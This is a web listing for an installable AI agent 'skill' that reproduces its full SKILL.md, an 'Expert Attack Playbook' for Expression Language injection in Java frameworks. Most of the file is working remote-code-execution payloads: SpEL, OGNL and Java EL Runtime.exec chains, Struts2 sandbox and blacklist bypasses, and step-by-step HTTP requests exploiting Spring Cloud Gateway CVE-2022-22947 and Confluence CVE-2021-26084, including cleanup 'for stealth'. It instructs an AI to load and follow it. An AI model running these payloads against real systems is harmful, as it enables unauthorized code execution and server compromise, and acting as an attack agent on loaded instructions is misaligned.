Expression Language Injection logo

Expression Language Injection

OrganizationPopular
yaklang
expression-language-injection

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

Overview

Publisheryaklang
Repositoryhack-skills
Skill nameexpression-language-injection
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Expression Language Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/expression-language-injection .claude/skills/expression-language-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Expression Language Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Expression Language Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Expression Language Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.


1. DETECTION — POLYGLOT PROBES

text
${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

Response to ${7*7}Response to %{7*7}Engine
49literal %{7*7}SpEL or Java EL
literal ${7*7}49OGNL (Struts2)
4949Both may be active

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

  • @Value("${...}") annotations
  • Spring Security expressions (@PreAuthorize)
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
  • Spring Data @Query with SpEL

RCE via Runtime.exec

java
${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:

bash
# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL Sandbox Bypass

When SimpleEvaluationContext is used (restricts T() operator):

java
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

  • Apache Struts2 — primary OGNL consumer
  • Confluence Server — uses OGNL in certain request paths
  • Any Java app using ognl.Ognl.getValue() or ognl.Ognl.setValue()

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

CVEVectorPayload Location
S2-045 (CVE-2017-5638)Content-Type header%{...} in Content-Type
S2-046 (CVE-2017-5638)Multipart filenameOGNL in upload filename
S2-016 (CVE-2013-2251)redirect: / redirectAction: prefixURL parameter
S2-048 (CVE-2017-9791)Struts ShowcaseActionMessage with OGNL
S2-057 (CVE-2018-11776)Namespace OGNLURL path

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the queryString or action parameters:

bash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE

4. JAVA EL (JSP / JSF)

Where Java EL Appears

  • JSP pages: ${expression} and #{expression}
  • JSF (JavaServer Faces): value and method bindings
  • Custom tag libraries

RCE Payloads

java
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

5. DETECTION METHODOLOGY

Input reflected and ${7*7} returns 49?
├── Java application?
│   ├── Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ├── Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ├── Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
├── Error messages reveal framework?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
└── Blocked by sandbox?
    ├── OGNL: clear _memberAccess / excludedClasses
    ├── SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

6. QUICK REFERENCE

text
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

Frequently asked questions

What does the Expression Language Injection AI skill do?

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

Why use Expression Language Injection on TypingMind?

Because you install it once and use it with any model. Expression Language Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Expression Language Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/expression-language-injection. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Expression Language Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Expression Language Injection?

As many as you like. As long as a model supports skills, you can use Expression Language Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Expression Language Injection AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇